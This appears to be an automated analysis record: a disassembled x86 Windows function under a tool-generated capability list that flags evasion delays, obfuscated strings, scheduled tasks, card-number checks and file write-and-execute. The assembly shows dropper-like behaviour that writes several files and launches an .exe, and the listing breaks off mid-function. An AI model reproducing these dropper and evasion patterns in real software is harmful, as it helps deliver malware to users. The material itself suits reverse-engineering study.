Function at 0x40c120
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Create process on windows
Create thread
Encode data using base64
Schedule task via at
Validate payment card number using luhn algorithm
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57fcd3
mov eax, dword fs:[0]
push eax
sub esp, 0x4dc
mov eax, dword [0x5e9004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x24], 0
call fcn.0040a240
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x14c]
call fcn.0040d650
mov esi, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x178]
mov edx, dword [ebp - 0x178]
call dword [edx + 0x44]
mov ecx, dword [esi + 4]
mov dword [ebp - 0x174], ecx
mov ecx, dword [esi + 8]
mov dword [ebp - 0x170], ecx
lea ecx, [ebp - 0x168]
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x168]
call dword [eax + 0x44]
lea eax, [esi + 0x10]
push eax
lea ecx, [ebp - 0x168]
call fcn.00407110
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14c]
call fcn.00409ef0
lea ecx, [ebp - 0x120]
call fcn.0040a240
mov byte [ebp - 4], 2
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x114], 0x5c70b4
mov byte [ebp - 4], 3
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x50]
call fcn.00412e50
mov byte [ebp - 4], 4
mov edx, eax
mov ecx, dword [0x5f29b0]
call fcn.00404dd0
mov byte [ebp - 4], 3
mov dword [ebp - 0x50], vtable.CVolMem.0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x44]
test ecx, ecx
je 0x40c24e
mov eax, dword [ebp - 0x50]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolBaseInputStream.virtual_12
jne 0x40c249
mov ecx, 0x5f2978
call fcn.004142e0
jmp 0x40c24e
lea ecx, [ebp - 0x50]
call eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov byte [ebp - 4], 3
mov dword [ebp - 0x50], vtable.CVolObject.0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x120]
call fcn.00409ef0
push 4
lea eax, [ebp - 0x1fc]
push eax
lea ecx, [ebp - 0x178]
call fcn.00415760
mov byte [ebp - 4], 7
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40c2a9
cmp dword [eax + 0x24], ecx
mov ecx, 0x5c402c
je 0x40c2a9
mov ecx, dword [eax + 0x1c]
mov eax, str._365
nop
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x40c2d6
test dx, dx
je 0x40c2d2
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x40c2d6
add ecx, 4
add eax, 4
test dx, dx
jne 0x40c2b0
xor esi, esi
jmp 0x40c2db
sbb esi, esi
or esi, 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1fc]
call fcn.00409ef0
test esi, esi
jne 0x40d191
lea ecx, [ebp - 0x1d0]
call fcn.0040a240
mov byte [ebp - 4], 8
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x1c4], str.2009_12_21_20:01:12
mov byte [ebp - 4], 9
mov edi, 0x5c402c
mov eax, dword [ebp - 0x1c4]
test eax, eax
jne 0x40c337
cmp dword [ebp - 0x1ac], esi
mov eax, edi
cmovne eax, dword [ebp - 0x1b4]
mov ecx, eax
call fcn.00416170
movsd qword [ebp - 0x34], xmm0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1d0]
call fcn.00409ef0
call fcn.00416570
movsd xmm1, qword [ebp - 0x34]
comisd xmm1, xmm0
jbe 0x40c3c4
lea ecx, [ebp - 0x120]
call fcn.0040a240
mov byte [ebp - 4], 0xb
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x114], 0x5c70b4
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x50]
call fcn.00412e50
mov byte [ebp - 4], 0xd
mov edx, eax
mov ecx, dword [0x5f29b0]
call fcn.00404dd0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x50]
call fcn.00407570
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x120]
jmp 0x40d50b
lea ecx, [ebp - 0xc8]
call fcn.00409a60
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xf4]
push 4
push ecx
mov ecx, eax
call fcn.00415760
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x254]
push 1
push ecx
mov ecx, eax
call fcn.00415550
mov byte [ebp - 4], 0x11
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40c40f
cmp dword [eax + 0x24], ecx
mov ecx, 0x5c402c
je 0x40c40f
mov ecx, dword [eax + 0x1c]
mov eax, 0x5c70f0
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x40c43a
test dx, dx
je 0x40c436
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x40c43a
add ecx, 4
add eax, 4
test dx, dx
jne 0x40c414
xor esi, esi
jmp 0x40c43f
sbb esi, esi
or esi, 1
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x254]
call fcn.00409ef0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xf4]
call fcn.00409ef0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xc8]
call fcn.00409ef0
test esi, esi
je 0x40d510
mov esi, dword [0x5f2a8c]
add esi, 8
cmp dword [esi + 0x14], 0
jne 0x40c4d6
mov eax, dword [esi + 4]
mov dword [esi + 0x14], 1
test eax, eax
je 0x40c498
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [esi + 8]
mov dword [esi + 0x10], 0
push eax
push 0
push esi
push 0x414330
push 0
push 0
mov dword [esi + 0x18], 0x40a730
mov dword [esi + 0x1c], 0x5f2a80
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 4], eax
test eax, eax
jne 0x40c4d6
mov dword [esi + 0x14], eax
lea ecx, [ebp - 0x228]
call fcn.0040a240
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x9c]
call fcn.0040a240
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1fc]
call fcn.0040a240
mov byte [ebp - 4], 0x14
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x1f0], 0x5c70f4
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x1f0]
test ecx, ecx
jne 0x40c535
cmp dword [ebp - 0x1d8], 0
mov ecx, edi
cmovne ecx, dword [ebp - 0x1e0]
mov esi, dword [ebp - 0x16c]
test esi, esi
je 0x40c553
lea edx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x40c542
sub esi, edx
sar esi, 1
jmp 0x40c560
mov esi, dword [ebp - 0x154]
test esi, esi
je 0x40c560
shr esi, 1
dec esi
sub esp, 0xc
push ecx
lea ecx, [ebp - 0x178]
call fcn.00415a40
sub esi, eax
lea ecx, [ebp - 0x178]
dec esi
lea eax, [ebp - 0x3e0]
push esi
push eax
call fcn.00415760
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x9c]
push eax
call fcn.0040dcc0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x3e0]
call fcn.00409ef0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1fc]
call fcn.00409ef0
mov ecx, dword [ebp - 0x90]
test ecx, ecx
je 0x40c5d1
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40c5c0
sub ecx, edx
sar ecx, 1
jmp 0x40c5db
mov ecx, dword [ebp - 0x78]
test ecx, ecx
je 0x40c5db
shr ecx, 1
dec ecx
lea eax, [ecx - 7]
push eax
lea eax, [ebp - 0x40c]
push eax
lea ecx, [ebp - 0x9c]
call fcn.00415550
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x9c]
push eax
call fcn.0040dcc0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x40c]
call fcn.00409ef0
lea ecx, [ebp - 0x1c0]
call fcn.00412dd0
mov esi, eax
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x1c]
mov ebx, dword [ebp - 0x90]
mov dword [ebp - 0x30], edx
test ebx, ebx
jne 0x40c656
cmp dword [ebp - 0x78], ebx
jne 0x40c64b
mov ebx, 0x5c402c
jmp 0x40c656
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x40c71e
cmp word [ebx], 0
je 0x40c71e
mov edi, ebx
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40c665
sub edi, ecx
sar edi, 1
shr edi, 1
je 0x40c719
mov esi, dword [esi + 0x14]
mov ecx, dword [ebp - 0x28]
lea eax, [esi + edi]
push eax
call fcn.00413750
add eax, esi
push edi
mov esi, eax
mov dword [ebp - 0x2c], eax
push 0
push esi
call fcn.005637c0
add esp, 0xc
nop
movzx ecx, word [ebx]
mov edx, ecx
lea eax, [edx - 0x30]
cmp ax, 9
ja 0x40c6b3
sub cl, 0x30
jmp 0x40c6d2
lea eax, [edx - 0x41]
cmp ax, 5
ja 0x40c6c1
sub cl, 0x37
jmp 0x40c6d2
lea eax, [edx - 0x61]
cmp ax, 5
ja 0x40c6cf
sub cl, 0x57
jmp 0x40c6d2
or cl, 0xff
movzx edx, word [ebx + 2]
lea eax, [edx - 0x30]
cmp ax, 9
ja 0x40c6e4
sub dl, 0x30
jmp 0x40c703
lea eax, [edx - 0x41]
cmp ax, 5
ja 0x40c6f2
sub dl, 0x37
jmp 0x40c703
lea eax, [edx - 0x61]
cmp ax, 5
ja 0x40c700
sub dl, 0x57
jmp 0x40c703
or dl, 0xff
shl cl, 4
add ebx, 4
or cl, dl
mov byte [esi], cl
inc esi
sub edi, 1
jne 0x40c6a0
mov esi, dword [ebp - 0x28]
mov edx, dword [ebp - 0x30]
mov edi, 0x5c402c
push edx
mov edx, esi
lea ecx, [ebp - 0x244]
call fcn.0040d550
mov byte [ebp - 4], 0x1a
mov edx, eax
lea ecx, [ebp - 0x438]
call fcn.0040b7b0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x9c]
push eax
call fcn.0040dcc0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x438]
call fcn.00409ef0
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x244]
call fcn.00407570
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1c0]
call fcn.00407570
lea ecx, [ebp - 0x120]
call fcn.0040a240
mov byte [ebp - 4], 0x1c
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x114], 0x5c71b8
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x114]
test ecx, ecx
jne 0x40c7ba
cmp dword [ebp - 0xfc], ecx
cmovne edi, dword [ebp - 0x104]
mov ecx, edi
mov esi, dword [ebp - 0x90]
test esi, esi
je 0x40c7d8
lea edx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x40c7c7
sub esi, edx
sar esi, 1
jmp 0x40c7e2
mov esi, dword [ebp - 0x78]
test esi, esi
je 0x40c7e2
shr esi, 1
dec esi
sub esp, 0xc
push ecx
lea ecx, [ebp - 0x9c]
call fcn.00415a40
sub esi, eax
lea ecx, [ebp - 0x9c]
dec esi
lea eax, [ebp - 0x464]
push esi
push eax
call fcn.00415760
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x228]
push eax
call fcn.0040dcc0
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x464]
call fcn.00409ef0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x120]
call fcn.00409ef0
mov ecx, dword [ebp - 0x90]
test ecx, ecx
je 0x40c853
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40c842
sub ecx, edx
sar ecx, 1
jmp 0x40c85d
mov ecx, dword [ebp - 0x78]
test ecx, ecx
je 0x40c85d
shr ecx, 1
dec ecx
mov edx, dword [ebp - 0x21c]
test edx, edx
je 0x40c881
lea esi, [edx + 2]
nop word [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x40c870
sub edx, esi
sar edx, 1
jmp 0x40c88e
mov edx, dword [ebp - 0x204]
test edx, edx
je 0x40c88e
shr edx, 1
dec edx
sub ecx, edx
lea eax, [ebp - 0x490]
push ecx
push eax
lea ecx, [ebp - 0x9c]
call fcn.00415550
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x9c]
push eax
call fcn.0040dcc0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x490]
call fcn.00409ef0
cmp dword [0x5f2bbc], 0
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
jne 0x40c8e6
mov dword [0x5f2bbc], 1
call ebx
push eax
call fcn.00567909
add esp, 4
call fcn.005678e8
cdq
mov ecx, 0x3e9
idiv ecx
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add edx, 0x3e8
push edx
call edi
lea eax, [ebp - 0x228]
push eax
lea edx, [ebp - 0x9c]
lea ecx, [ebp - 0x4e8]
call fcn.00415b70
mov byte [ebp - 4], 0x21
mov edx, eax
push 0x5c70f8
lea ecx, [ebp - 0x4bc]
call fcn.00415d20
add esp, 8
mov byte [ebp - 4], 0x22
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40c94b
cmp dword [eax + 0x24], ecx
mov ecx, 0x5c402c
je 0x40c94b
mov ecx, dword [eax + 0x1c]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x4bc]
call fcn.00409ef0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x4e8]
call fcn.00409ef0
cmp dword [0x5f2bbc], 0
jne 0x40c9a5
mov dword [0x5f2bbc], 1
call ebx
push eax
call fcn.00567909
add esp, 4
call fcn.005678e8
cdq
mov ecx, 0x3e9
idiv ecx
add edx, 0x3e8
push edx
call edi
mov byte [ebp - 4], 0x23
mov dword [ebp - 0x70], vtable.CVolCommonBaseWithMemManager.0
mov dword [ebp - 0x70], vtable.CVolObject.0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0
mov byte [ebp - 4], 0x24
mov dword [ebp - 0x70], vtable.CVolMem.0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x58], 0x40
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x70]
push 0xa
push eax
mov eax, dword [0x5f2970]
mov ecx, 0x5f2970
push 0x1f7
mov dword [ebp - 0x24], 2
call dword [eax + 0x18]
mov eax, dword [ebp - 0x5c]
xor edx, edx
mov ecx, dword [ebp - 0x64]
test eax, eax
push edx
cmove ecx, edx
mov dword [ebp - 0x30], edx
lea edx, [ebp - 0x30]
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, 2
mov dword [ebp - 0x24], esi
and esi, 0xfffffffd
mov dword [ebp - 0x24], esi
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x70], vtable.CVolMem.0
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x64]
test ecx, ecx
je 0x40ca86
mov eax, dword [ebp - 0x70]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolBaseInputStream.virtual_12
jne 0x40ca81
mov ecx, 0x5f2978
call fcn.004142e0
jmp 0x40ca86
lea ecx, [ebp - 0x70]
call eax
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x60], 0
mov byte [ebp - 4], 0x13
push dword [ebp - 0x2c]
mov dword [ebp - 0x70], vtable.CVolObject.0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x5f2bbc], 0
jne 0x40cacd
mov dword [0x5f2bbc], 1
call ebx
push eax
call fcn.00567909
add esp, 4
call fcn.005678e8
cdq
mov ecx, 0x3e9
idiv ecx
add edx, 0x3e8
push edx
call edi
push 0x5c7104
lea edx, [ebp - 0x9c]
lea ecx, [ebp - 0x304]
call fcn.00415d20
add esp, 4
mov byte [ebp - 4], 0x26
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40cb14
cmp dword [eax + 0x24], ecx
mov ecx, 0x5c402c
je 0x40cb14
mov ecx, dword [eax + 0x1c]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x304]
call fcn.00409ef0
cmp dword [0x5f2bbc], 0
jne 0x40cb5d
mov dword [0x5f2bbc], 1
call ebx
push eax
call fcn.00567909
add esp, 4
call fcn.005678e8
cdq
mov ecx, 0x3e9
idiv ecx
add edx, 0x3e8
push edx
call edi
mov byte [ebp - 4], 0x27
mov dword [ebp - 0xb8], vtable.CVolCommonBaseWithMemManager.0
mov dword [ebp - 0xb8], vtable.CVolObject.0
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb0], 0
mov byte [ebp - 4], 0x28
mov dword [ebp - 0xb8], vtable.CVolMem.0
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa0], 0x40
mov byte [ebp - 4], 0x27
lea eax, [ebp - 0xb8]
push 0xa
or esi, 4
mov ecx, 0x5f2970
push eax
mov dword [ebp - 0x24], esi
mov eax, dword [0x5f2970]
push 0x1f5
call dword [eax + 0x18]
mov eax, dword [ebp - 0xa4]
xor edx, edx
mov ecx, dword [ebp - 0xac]
test eax, eax
push edx
cmove ecx, edx
mov dword [ebp - 0x30], edx
lea edx, [ebp - 0x30]
push edx
push eax
push ecx
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_WriteFile]
and esi, 0xfffffffb
mov dword [ebp - 0x24], esi
mov byte [ebp - 4], 0x13
mov dword [ebp - 0xb8], vtable.CVolMem.0
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0xac]
test ecx, ecx
je 0x40cc67
mov eax, dword [ebp - 0xb8]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolBaseInputStream.virtual_12
jne 0x40cc5f
mov ecx, 0x5f2978
call fcn.004142e0
jmp 0x40cc67
lea ecx, [ebp - 0xb8]
call eax
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa8], 0
mov byte [ebp - 4], 0x13
push dword [ebp - 0x28]
mov dword [ebp - 0xb8], vtable.CVolObject.0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call edi
push 0x5c7120
lea edx, [ebp - 0x9c]
lea ecx, [ebp - 0x330]
call fcn.00415d20
add esp, 4
mov byte [ebp - 4], 0x2a
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40ccd4
cmp dword [eax + 0x24], ecx
mov ecx, 0x5c402c
je 0x40ccd4
mov ecx, dword [eax + 0x1c]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x330]
call fcn.00409ef0
cmp dword [0x5f2bbc], 0
jne 0x40cd1d
mov dword [0x5f2bbc], 1
call ebx
push eax
call fcn.00567909
add esp, 4
call fcn.005678e8
cdq
mov ecx, 0x3e9
idiv ecx
add edx, 0x3e8
push edx
call edi
mov byte [ebp - 4], 0x2b
mov dword [ebp - 0xe4], vtable.CVolCommonBaseWithMemManager.0
mov dword [ebp - 0xe4], vtable.CVolObject.0
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0
mov byte [ebp - 4], 0x2c
mov dword [ebp - 0xe4], vtable.CVolMem.0
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xcc], 0x40
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0xe4]
push 0xa
or esi, 8
mov ecx, 0x5f2970
push eax
mov dword [ebp - 0x24], esi
mov eax, dword [0x5f2970]
push 0x1f4
call dword [eax + 0x18]
mov eax, dword [ebp - 0xd0]
xor edx, edx
mov ecx, dword [ebp - 0xd8]
test eax, eax
push edx
cmove ecx, edx
mov dword [ebp - 0x30], edx
lea edx, [ebp - 0x30]
push edx
push eax
push ecx
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_WriteFile]
and esi, 0xfffffff7
mov dword [ebp - 0x24], esi
mov byte [ebp - 4], 0x13
mov dword [ebp - 0xe4], vtable.CVolMem.0
mov byte [ebp - 4], 0x2d
mov ecx, dword [ebp - 0xd8]
test ecx, ecx
je 0x40ce27
mov eax, dword [ebp - 0xe4]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolBaseInputStream.virtual_12
jne 0x40ce1f
mov ecx, 0x5f2978
call fcn.004142e0
jmp 0x40ce27
lea ecx, [ebp - 0xe4]
call eax
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xd4], 0
mov byte [ebp - 4], 0x13
push dword [ebp - 0x28]
mov dword [ebp - 0xe4], vtable.CVolObject.0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call edi
push 0x5c7130
lea edx, [ebp - 0x9c]
lea ecx, [ebp - 0x35c]
call fcn.00415d20
add esp, 4
mov byte [ebp - 4], 0x2e
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40ce94
cmp dword [eax + 0x24], ecx
mov ecx, 0x5c402c
je 0x40ce94
mov ecx, dword [eax + 0x1c]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x35c]
call fcn.00409ef0
cmp dword [0x5f2bbc], 0
jne 0x40cedd
mov dword [0x5f2bbc], 1
call ebx
push eax
call fcn.00567909
add esp, 4
call fcn.005678e8
cdq
mov ecx, 0x3e9
idiv ecx
add edx, 0x3e8
push edx
call edi
mov byte [ebp - 4], 0x2f
mov dword [ebp - 0x50], vtable.CVolCommonBaseWithMemManager.0
mov dword [ebp - 0x50], vtable.CVolObject.0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov byte [ebp - 4], 0x30
mov dword [ebp - 0x50], vtable.CVolMem.0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x38], 0x40
mov byte [ebp - 4], 0x2f
lea eax, [ebp - 0x50]
push 0xa
or esi, 0x10
mov ecx, 0x5f2970
push eax
mov dword [ebp - 0x24], esi
mov eax, dword [0x5f2970]
push 0x1f6
call dword [eax + 0x18]
mov eax, dword [ebp - 0x3c]
xor edx, edx
mov ecx, dword [ebp - 0x44]
test eax, eax
mov ebx, dword [ebp - 0x2c]
push edx
cmove ecx, edx
mov dword [ebp - 0x30], edx
lea edx, [ebp - 0x30]
push edx
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
and esi, 0xffffffef
mov dword [ebp - 0x24], esi
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x50], vtable.CVolMem.0
mov byte [ebp - 4], 0x31
mov edx, dword [ebp - 0x44]
test edx, edx
je 0x40cfb8
mov eax, dword [ebp - 0x50]
push edx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolBaseInputStream.virtual_12
jne 0x40cfb3
mov ecx, 0x5f2978
call fcn.004142e0
jmp 0x40cfb8
lea ecx, [ebp - 0x50]
call eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov byte [ebp - 4], 0x13
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x50], vtable.CVolObject.0
call ebx
push 0x3e8
call edi
lea eax, [ebp - 0x228]
push eax
lea edx, [ebp - 0x9c]
lea ecx, [ebp - 0x3b4]
call fcn.00415b70
mov byte [ebp - 4], 0x32
mov edx, eax
push str..txt
lea ecx, [ebp - 0x388]
call fcn.00415d20
add esp, 8
mov byte [ebp - 4], 0x33
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40d031
cmp dword [eax + 0x24], ecx
mov ecx, 0x5c402c
je 0x40d031
mov ecx, dword [eax + 0x1c]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x388]
call fcn.00409ef0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x3b4]
call fcn.00409ef0
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax + 0x14]
test ecx, ecx
jne 0x40d078
xor eax, eax
jmp 0x40d07b
mov eax, dword [eax + 0xc]
push 0
lea edx, [ebp - 0x54]
mov dword [ebp - 0x54], 0
push edx
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call ebx
push 0x42e1
call edi
lea ecx, [ebp - 0x14c]
call fcn.0040a240
mov byte [ebp - 4], 0x34
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x140], 0x5c7164
mov byte [ebp - 4], 0x35
lea eax, [ebp - 0x9c]
push eax
lea edx, [ebp - 0x14c]
lea ecx, [ebp - 0x2d8]
call fcn.00415b70
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x228]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2ac]
call fcn.00415b70
mov byte [ebp - 4], 0x37
mov edx, eax
push str..exe_
lea ecx, [ebp - 0x280]
call fcn.00415d20
add esp, 0xc
mov byte [ebp - 4], 0x38
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40d123
cmp dword [eax + 0x24], ecx
mov ecx, 0x5c402c
je 0x40d123
mov ecx, dword [eax + 0x1c]
push 5
push 0
push 0
push ecx
push 0x5c7168
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x280]
call fcn.00409ef0
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x2ac]
call fcn.00409ef0
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x2d8]
call fcn.00409ef0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x14c]
call fcn.00409ef0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x9c]
call fcn.00409ef0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x228]
jmp 0x40d50b
lea ecx, [ebp - 0x1a4]
call fcn.0040a240
mov byte [ebp - 4], 0x3a
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
push eax
mov dword [0x5f2bbc], 1
call fcn.00567909
add esp, 4
cmp dword [0x5f2bbc], 0
jne 0x40d1d9
mov dword [0x5f2bbc], 1
call edi
push eax
call fcn.00567909
add esp, 4
call fcn.005678e8
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x40d1ea
dec eax
or eax, 0xfffffff8
inc eax
lea edx, [eax + 0xc]
lea ecx, [ebp - 0x280]
call fcn.0040b2f0
mov edx, eax
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x14c]
call fcn.0040a240
mov byte [ebp - 4], 0x3c
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x140], str.C:ProgramDatacande
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x2ac]
push edx
lea edx, [ebp - 0x14c]
call fcn.00415b70
mov byte [ebp - 4], 0x3e
mov edx, eax
push 0x5c7174
lea ecx, [ebp - 0x2d8]
call fcn.00415d20
add esp, 8
mov esi, eax
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x1a4]
mov edx, dword [ebp - 0x1a4]
call dword [edx + 0x44]
mov ecx, dword [esi + 4]
mov dword [ebp - 0x1a0], ecx
mov ecx, dword [esi + 8]
mov dword [ebp - 0x19c], ecx
lea ecx, [ebp - 0x194]
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 0x194]
call dword [eax + 0x44]
lea eax, [esi + 0x10]
push eax
lea ecx, [ebp - 0x194]
call fcn.00407110
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x2d8]
call fcn.00409ef0
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x2ac]
call fcn.00409ef0
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x14c]
call fcn.00409ef0
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x280]
call fcn.00409ef0
mov eax, dword [ebp - 0x198]
test eax, eax
